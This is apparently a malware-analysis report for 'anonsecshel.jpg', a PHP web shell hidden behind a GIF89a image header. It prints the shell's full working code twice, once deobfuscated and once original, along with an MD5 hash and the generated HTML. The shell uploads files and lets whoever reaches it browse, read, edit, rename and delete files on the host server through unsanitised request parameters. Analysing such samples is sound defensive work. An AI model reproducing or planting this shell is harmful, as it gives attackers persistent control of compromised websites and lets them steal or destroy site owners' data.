PHP Malware Analysis

anonsecshel.jpg

md5: be1f28df865a1362b1ab68935c8ee6b7

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

GIF89a=( �' 7IAXKgNgYvYx\%wh�h�t�h%�s%�x�}9����&��%��(��.��5��D��&ǚ)ǟ5ǘ;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT�Y��q��q��F�                                                                           !�
 ' !�NETSCAPE2.0   ,    =(  �pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g���E�����������E�����B�� ��ȸ��D�����Ů� �H��L��D٫D�B���>D���T���H �G�A R�ڐ
|��٭&��E8���kG�A�px�a��� R2XB��E8I���6X�:vT)���q�賥�仕F~%x� �
4#ZԉO|-4Bs��X:=
Q� ��l��yXJ�GȦ|sh��K�3l7�B|�$'7Jީܪ����D�n=�P�����`䌨lj����v>�|5
�.69�ϸd�����nlv����f{���Pb��l5���p�����3a���I�O���އ��Ƃ��i���#��)p� ޽	��{�)vm��%D~6f�s}Ń�D�W E�`��	��L8x����{)x`X/>�}m�Rؑ*|`D�=��_ ^�5!_�'a�Oڗ7�c��`D�Cx`�¥��Y��F����?���� �n@`�}	lď���@4>�d
� �v�xN�י@�d��=�g�s�G���	���ud &p8Q�)��lXD����A�H�ySun�j���k*D�LH�]���C�J��Xb~ʪwSt�6K,��q��:9ت:���l�@�`���	�.۬�t��S�[:��=����N����{¿�A �Rې��6����0�_ �;������^���#���!�Ę�U���;0L1�u�p%A:U̬ݵ��%霼�����~`�G���� ���=4�np�3�������u�u�ٮ|%2�I��r�#0��J``8�@S@5����^`8E�]�.�����7 � ȉ�j ��D� z�i�������!���l��w�*�D�I�nEX���	&A�Go�Qf��F��;����J����F5��Q|���X��T��y���]� o ��C=����PB@ D׽��(>�C�x�`����JЀ�۠��p+eE0`�`A�/NE�؆�9�@���	H�7��%B�`�l*���8 2�%� ��:�1IE��ux%nP1�!��C)�P81l�ɸF#��{����B�0>��
�b����O�3Ȗ�()yRpb��E.Z�D8�H@%�x+%٘�c� ���f�b�d�`F�8�XH"��-�|1�6iI, 2���$+](A*j�QT�o�.�U슬�ㄎ`�SN�����y�e�������b��o� �)�y�@��3	�tT̉�&�+�L�f"�-|����>��v�О�\�Q1)�@��h#aP72����$�  !�
 " ,    =( �7IAXG]KgNgYvYxR"k\%w]'}h�t�h%�g+�s%�r.�m3�x3�x�}9��&��+��7��%��(��.��D��&ǘ;͕&ײ)׻4��6�K�                                                                                          �@�pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g �� E ��
�������E
�´���C���Ƕ���D�ÕƷ�ʱH��M��GڬD�B�}�D��T����G���C�C�	l&�:'�tU�6ɹ#��)�'�.6�&��ȻK(8p0N�?!�2"ۈNIJX>R��O�M	'��2�*��>#n��
�@�<[:�I�f� ��T�˘Cdb�ٓ[��E�5MBo��@�`@���tW-3 ���B���jI݅E�9[T�$��ﯧ���s��ȳ����dc�UUρ#���ldj?�?`\����u|3'֌]�6 �S#���FKL�*N
E����$��e�YD��q�.�촁�s \-�jA9�����-��M[�x(�s��x�|���p����k�T�DpE@W�	��]k�1� ���Yb �Il��*n0�癗�zBdОu�7ĉBl��-�x~|U�U�
�h�*H��|��e"#"?vp�i�e6^��+q��m8  #V�� <F�C��^F9�#��RAGb�d�(0$k����'L�)B�]��e�>���V��|���m"с�n|@�U��Ξ��pb�G�ED�����2F�I�?
>�x�
��
���%��j��ꄯ<�a�9ij�2�D��&��Z`��]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ޘ�N���>PAD�HD�枫��n��}�#˒�
Q��S���2�X�{�k�lQ�2���/w�|2�h���G�,m���3��6-��E�L��I�³*K���q�`DwV�QX���pe����	q��T�������u �<�a�*At�lmE�
���N[P1�ۦ��$��@`��Dpy�yXvCAy�B`�D�	0QwG#�
�[^��	$���Ǧ{�L��[��K�g�;�S~��GX.�goT.����������?1z�:�g�|�<O��!��{�E �{�V����C�{��go�����'��zEH�rJ�=�5���鲥���4��дV	w���$xVA.�+��'�E��E ^������84`K�>L��������0�]P�^p	F<"��?!,�N4��P� D��:T�@h%t��:�-��I<`��p I�.)^ 40D#p@�j4��؀:��1��r��F2oW�#Z�;$Q	q�
� �K��Nl#29 !�F@�Bh�ᏀL!�XF�LH�Kh�.�hE&J�G��<�WN!���ڈY�@��>��19J"�2,/
&.GXB%�R�9B6�W]����W��I�$��ӌE8Y�	����A5��Q.a�B�&ة�JW!	�t)K%t�-�JF
b�NMxL��)�R�Й����6�O!TH̄H�	�   !�
 ) ,    =( �AXKgNgYvYxR"k\%wh�h�h%�g+�s%�r.�x3�x�}9��&��+��,��7��%��(��.��5��&ǚ)ǘ;͕&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T�Y��q��h�                                                                     �pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g ��

E$�����
�
����$E$�Õ��D� � �����̌��C��� E��H�M��G�D��B��ϾD��a�
1r��Ӑ��	�o��zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x�
�xO%��X2�

P�n�R/�њH�e+�Dm?#��ǣ6�8�J���Di�M�ք�j����5oQ7�-
<�
*�l�ӌ2r/a!l)d� A��E���͆��;֘c �%߂�و�b���pe~C"B���H�eF2��8qb�t_`ur�e�
w�u3��Pv�h�"�`�Íx�LĹ��3��~ֺ������MDfJ�
��۵�W�%���੖�X �؁)�@�ћE��w�u�Sxb8y\mÖz���Zb�E��L��w!y(>��w�=�|��s�d�C�W)H�cC$�L �7�r.�\{)@�`@	�X�$PD� `�aG:��O�72E�amn]�"�c�xь� &dR8`g��iٟLR!�P
�d�䡓���T���i�|�_
� Qi�#��g����noM�
�V
�)p����W��=�e�k��j����1߲s�x�W�j�l|0��B0�, \j۴�6���C
��W��|�ً���zĸV {�;��n��V�m�I��.��PN�
�����C��+��By�ѾHŸ����
7�Y�FTk�SaoaY$D�����29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O���[_hv,���Et��BH��[�64M@�S�M7d�l5-��U܍��zߌ3Ԁ3��� ��P�5�g�
�ژkN�݅0�j4��밓#{��3S�2�K�'ợl��2K{� {۶?�m𸧠�I�nE�='����^���_�=���#O��'���o..�Y�n��C�O��a��K�o,���b����{�C�ڗ"��{�K ��w��Ozdը�:$ ���v�]	A#� �����z)Rx׿����d``�w-�y�f�K!����|��P���=�`�(f���'Pa
��BJa%��f��%��}F����6>��G"��=�!o��^FP�ةQ��C�P`(��\�ݮ
��$<��n@dĠE#��U�I�!� �#l��`k���'Rr��Z�NB�MF�[�+��Ɉ-�wj���8�r�
,V�h�"�|��=�G_�љE� 0i*%̲��da0mV�k�)�;�&6p>�jK���#
�D�:�c?:R	Ӭf��I-̓��<�=���7�3���c2�W	,��8(T�P�F¡Jh�"�  ;<?php 
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
?>
<!DOCTYPE html><html><head><link href="" rel="stylesheet" type="text/css"><title>AnonSecTeam</title>
<link href='https://fonts.googleapis.com/css?family=VT323' rel='stylesheet'>
<style type="text/css">body{background: #263238;color:#eceff1;font-family:'Courier';margin:0;font-size: 14px;}h1{font-family:'VT323';font-weight:normal;font-size:60px;margin:0;}h1:hover{color:#ffee58;}select{background:#ef6c00;color:#eceff1;}a{color:#ef6c00;text-decoration:none;font-family:'Courier'}textarea{width:900px;height:250px;background:transparent;border:1px dashed #ef6c00;color:#ef6c00;padding:2px;}tr.first{border-bottom:1px dashed #ef6c00;}tr:hover{background: #7f2e00;}th{background: #ef6c00;padding:5px;}</style>
</head><body> <?php 
echo "<div style=\"color:#ef6c00;margin-top:0;\"><h1><center>AnonSecTeam</center></h1></div>";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = getcwd();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo "<table width=\"100%\" border=\"0\" align=\"center\" style=\"margin-top:-10px;\"><tr><td>";
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:13px;' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>{$pat}</a>/";
}
echo "<br>[ <a href=\"?\">Home</a> ]</font></td><td align=\"center\" width=\"27%\"><form enctype=\"multipart/form-data\" method=\"POST\"><input type=\"file\" name=\"file\" style=\"color:#ef6c00;margin-bottom:4px;\"/>\r\n<input type=\"submit\" value=\"Upload\" /></form></td></tr><tr><td colspan=\"2\">";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<center><font color=\"#00ff00\">Upload OK!.</font></center><br/>";
    } else {
        echo "<center><font color=\"red\">Upload Failed!.</font></center><br/>";
    }
}
echo "</td></tr><tr><td></table>";
if (isset($_GET['filesrc'])) {
    echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr><td>File: ";
    echo "" . basename($_GET['filesrc']);
    "";
    echo "</tr></td></table><br />";
    echo "<center><textarea readonly=''>" . htmlspecialchars(file_get_contents($_GET['filesrc'])) . "</textarea></center>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<center><font color=\"#00ff00\">Rename OK!</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Rename Failed!</font></center><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<center><font color=\"#00ff00\">Edit File OK!.</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Edit File Failed!.</font></center><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<center><font color=\"#00ff00\">Dir Deleted!</font></center><br />";
            } else {
                echo "<center><font color=\"red\">Delete Dir Failed!</font></center><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"#00ff00\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr class=\"first\">\r\n<th><center>Name</center></th><th width=\"12%\"><center>Size</center></th><th width=\"10%\"><center>Permissions</center></th>\r\n<th width=\"15%\"><center>Last Update</center></th><th width=\"11%\"><center>Options</center></th></tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr><td>[D] <a href=\"?path={$path}/{$dir}\">{$dir}</a></td><td><center>--</center></td><td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#00ff00\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$dir}")) . "";
        echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"{$dir}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr><td>[F] <a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"#00ff00\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$file}")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path={$path}\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"{$file}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    echo "</table></div>";
}
echo "</body></html>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
echo "<br><center>&copy; 2021 - <a href=\"https://www.facebook.com/anonsecteam\">AnonSecTeam</a>.</center><br>";

Execution traces


Generated HTML code

<html style="height: 100%;"><head><meta name="viewport" content="width=device-width, minimum-scale=0.1"><title>anonsecshel.jpg (317×8232)</title></head><body style="margin: 0px; background: #0e0e0e; height: 100%"><img style="display: block;-webkit-user-select: none;margin: auto;cursor: zoom-in;background-color: hsl(0, 0%, 90%);" src="http://localhost/anonsecshel.jpg" width="35" height="933"></body></html>

Original PHP code

GIF89a=( �' 7IAXKgNgYvYx\%wh�h�t�h%�s%�x�}9����&��%��(��.��5��D��&ǚ)ǟ5ǘ;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT�Y��q��q��F�                                                                           !�
 ' !�NETSCAPE2.0   ,    =(  �pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g���E�����������E�����B�� ��ȸ��D�����Ů� �H��L��D٫D�B���>D���T���H �G�A R�ڐ
|��٭&��E8���kG�A�px�a��� R2XB��E8I���6X�:vT)���q�賥�仕F~%x� �
4#ZԉO|-4Bs��X:=
Q� ��l��yXJ�GȦ|sh��K�3l7�B|�$'7Jީܪ����D�n=�P�����`䌨lj����v>�|5
�.69�ϸd�����nlv����f{���Pb��l5���p�����3a���I�O���އ��Ƃ��i���#��)p� ޽	��{�)vm��%D~6f�s}Ń�D�W E�`��	��L8x����{)x`X/>�}m�Rؑ*|`D�=��_ ^�5!_�'a�Oڗ7�c��`D�Cx`�¥��Y��F����?���� �n@`�}	lď���@4>�d
� �v�xN�י@�d��=�g�s�G���	���ud &p8Q�)��lXD����A�H�ySun�j���k*D�LH�]���C�J��Xb~ʪwSt�6K,��q��:9ت:���l�@�`���	�.۬�t��S�[:��=����N����{¿�A �Rې��6����0�_ �;������^���#���!�Ę�U���;0L1�u�p%A:U̬ݵ��%霼�����~`�G���� ���=4�np�3�������u�u�ٮ|%2�I��r�#0��J``8�@S@5����^`8E�]�.�����7 � ȉ�j ��D� z�i�������!���l��w�*�D�I�nEX���	&A�Go�Qf��F��;����J����F5��Q|���X��T��y���]� o ��C=����PB@ D׽��(>�C�x�`����JЀ�۠��p+eE0`�`A�/NE�؆�9�@���	H�7��%B�`�l*���8 2�%� ��:�1IE��ux%nP1�!��C)�P81l�ɸF#��{����B�0>��
�b����O�3Ȗ�()yRpb��E.Z�D8�H@%�x+%٘�c� ���f�b�d�`F�8�XH"��-�|1�6iI, 2���$+](A*j�QT�o�.�U슬�ㄎ`�SN�����y�e�������b��o� �)�y�@��3	�tT̉�&�+�L�f"�-|����>��v�О�\�Q1)�@��h#aP72����$�  !�
 " ,    =( �7IAXG]KgNgYvYxR"k\%w]'}h�t�h%�g+�s%�r.�m3�x3�x�}9��&��+��7��%��(��.��D��&ǘ;͕&ײ)׻4��6�K�                                                                                          �@�pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g �� E ��
�������E
�´���C���Ƕ���D�ÕƷ�ʱH��M��GڬD�B�}�D��T����G���C�C�	l&�:'�tU�6ɹ#��)�'�.6�&��ȻK(8p0N�?!�2"ۈNIJX>R��O�M	'��2�*��>#n��
�@�<[:�I�f� ��T�˘Cdb�ٓ[��E�5MBo��@�`@���tW-3 ���B���jI݅E�9[T�$��ﯧ���s��ȳ����dc�UUρ#���ldj?�?`\����u|3'֌]�6 �S#���FKL�*N
E����$��e�YD��q�.�촁�s \-�jA9�����-��M[�x(�s��x�|���p����k�T�DpE@W�	��]k�1� ���Yb �Il��*n0�癗�zBdОu�7ĉBl��-�x~|U�U�
�h�*H��|��e"#"?vp�i�e6^��+q��m8  #V�� <F�C��^F9�#��RAGb�d�(0$k����'L�)B�]��e�>���V��|���m"с�n|@�U��Ξ��pb�G�ED�����2F�I�?
>�x�
��
���%��j��ꄯ<�a�9ij�2�D��&��Z`��]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ޘ�N���>PAD�HD�枫��n��}�#˒�
Q��S���2�X�{�k�lQ�2���/w�|2�h���G�,m���3��6-��E�L��I�³*K���q�`DwV�QX���pe����	q��T�������u �<�a�*At�lmE�
���N[P1�ۦ��$��@`��Dpy�yXvCAy�B`�D�	0QwG#�
�[^��	$���Ǧ{�L��[��K�g�;�S~��GX.�goT.����������?1z�:�g�|�<O��!��{�E �{�V����C�{��go�����'��zEH�rJ�=�5���鲥���4��дV	w���$xVA.�+��'�E��E ^������84`K�>L��������0�]P�^p	F<"��?!,�N4��P� D��:T�@h%t��:�-��I<`��p I�.)^ 40D#p@�j4��؀:��1��r��F2oW�#Z�;$Q	q�
� �K��Nl#29 !�F@�Bh�ᏀL!�XF�LH�Kh�.�hE&J�G��<�WN!���ڈY�@��>��19J"�2,/
&.GXB%�R�9B6�W]����W��I�$��ӌE8Y�	����A5��Q.a�B�&ة�JW!	�t)K%t�-�JF
b�NMxL��)�R�Й����6�O!TH̄H�	�   !�
 ) ,    =( �AXKgNgYvYxR"k\%wh�h�h%�g+�s%�r.�x3�x�}9��&��+��,��7��%��(��.��5��&ǚ)ǘ;͕&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T�Y��q��h�                                                                     �pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N����~��������������������������������������������g ��

E$�����
�
����$E$�Õ��D� � �����̌��C��� E��H�M��G�D��B��ϾD��a�
1r��Ӑ��	�o��zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x�
�xO%��X2�

P�n�R/�њH�e+�Dm?#��ǣ6�8�J���Di�M�ք�j����5oQ7�-
<�
*�l�ӌ2r/a!l)d� A��E���͆��;֘c �%߂�و�b���pe~C"B���H�eF2��8qb�t_`ur�e�
w�u3��Pv�h�"�`�Íx�LĹ��3��~ֺ������MDfJ�
��۵�W�%���੖�X �؁)�@�ћE��w�u�Sxb8y\mÖz���Zb�E��L��w!y(>��w�=�|��s�d�C�W)H�cC$�L �7�r.�\{)@�`@	�X�$PD� `�aG:��O�72E�amn]�"�c�xь� &dR8`g��iٟLR!�P
�d�䡓���T���i�|�_
� Qi�#��g����noM�
�V
�)p����W��=�e�k��j����1߲s�x�W�j�l|0��B0�, \j۴�6���C
��W��|�ً���zĸV {�;��n��V�m�I��.��PN�
�����C��+��By�ѾHŸ����
7�Y�FTk�SaoaY$D�����29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O���[_hv,���Et��BH��[�64M@�S�M7d�l5-��U܍��zߌ3Ԁ3��� ��P�5�g�
�ژkN�݅0�j4��밓#{��3S�2�K�'ợl��2K{� {۶?�m𸧠�I�nE�='����^���_�=���#O��'���o..�Y�n��C�O��a��K�o,���b����{�C�ڗ"��{�K ��w��Ozdը�:$ ���v�]	A#� �����z)Rx׿����d``�w-�y�f�K!����|��P���=�`�(f���'Pa
��BJa%��f��%��}F����6>��G"��=�!o��^FP�ةQ��C�P`(��\�ݮ
��$<��n@dĠE#��U�I�!� �#l��`k���'Rr��Z�NB�MF�[�+��Ɉ-�wj���8�r�
,V�h�"�|��=�G_�љE� 0i*%̲��da0mV�k�)�;�&6p>�jK���#
�D�:�c?:R	Ӭf��I-̓��<�=���7�3���c2�W	,��8(T�P�F¡Jh�"�  ;<?php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){foreach($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}}
?>
<!DOCTYPE html><html><head><link href="" rel="stylesheet" type="text/css"><title>AnonSecTeam</title>
<link href='https://fonts.googleapis.com/css?family=VT323' rel='stylesheet'>
<style type="text/css">body{background: #263238;color:#eceff1;font-family:'Courier';margin:0;font-size: 14px;}h1{font-family:'VT323';font-weight:normal;font-size:60px;margin:0;}h1:hover{color:#ffee58;}select{background:#ef6c00;color:#eceff1;}a{color:#ef6c00;text-decoration:none;font-family:'Courier'}textarea{width:900px;height:250px;background:transparent;border:1px dashed #ef6c00;color:#ef6c00;padding:2px;}tr.first{border-bottom:1px dashed #ef6c00;}tr:hover{background: #7f2e00;}th{background: #ef6c00;padding:5px;}</style>
</head><body> <?php echo'<div style="color:#ef6c00;margin-top:0;"><h1><center>AnonSecTeam</center></h1></div>';
if(isset($_GET['path'])) {$path = $_GET['path'];chdir($_GET['path']);} else {$path = getcwd();}
$path = str_replace("\\","/",$path);$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';echo "<font style='font-size:13px;'>Path: ";
foreach($paths as $id => $pat) {echo "<a style='font-size:13px;' href='?path=";
for($i = 0; $i <= $id; $i++) {echo $paths[$i];
if($i != $id) {echo "/";} }echo "'>$pat</a>/";}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/>
<input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<center><font color="#00ff00">Upload OK!.</font></center><br/>';}
else{echo '<center><font color="red">Upload Failed!.</font></center><br/>';}}
echo '</td></tr><tr><td></table>';
if(isset($_GET['filesrc'])){
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';echo "".basename($_GET['filesrc']);"";echo '</tr></td></table><br />';echo("<center><textarea readonly=''>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</textarea></center>");}
elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
}else{
echo '<center><font color="red">Rename Failed!</font></center><br />';
} $_POST['name'] = $_POST['newname'];}
echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');if(fwrite($fp,$_POST['src'])){echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
}else{echo '<center><font color="red">Edit File Failed!.</font></center><br />';}fclose($fp);}
echo '<form method="POST"><textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';}echo '</center>';}else{echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
}else{echo '<center><font color="red">Delete Dir Failed!</font></center><br />';}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){echo '<font color="#00ff00">Delete File Done.</font><br />';}else{
echo '<font color="red">Delete File Error.</font><br />';}}}echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first">
<th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th>
<th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo"</center></td><td><center>".date("d-M-Y H:i", filemtime("$path/$dir"))."";echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";}
foreach($scandir as $file){if(!is_file("$path/$file")) continue;$size = filesize("$path/$file")/1024;
$size = round($size,3);if($size >= 1024){$size = round($size/1024,2).' MB';}else{$size = $size.' KB';}
echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>".$size."</center></td><td><center>";
if(is_writable("$path/$file")) echo '<font color="#00ff00">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo"</center></td><td><center>".date("d-M-Y H:i",filemtime("$path/$file"))."";
echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";}
echo '</table></div>';}echo '</body></html>';
function perms($file){$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';} $info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-');$info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}
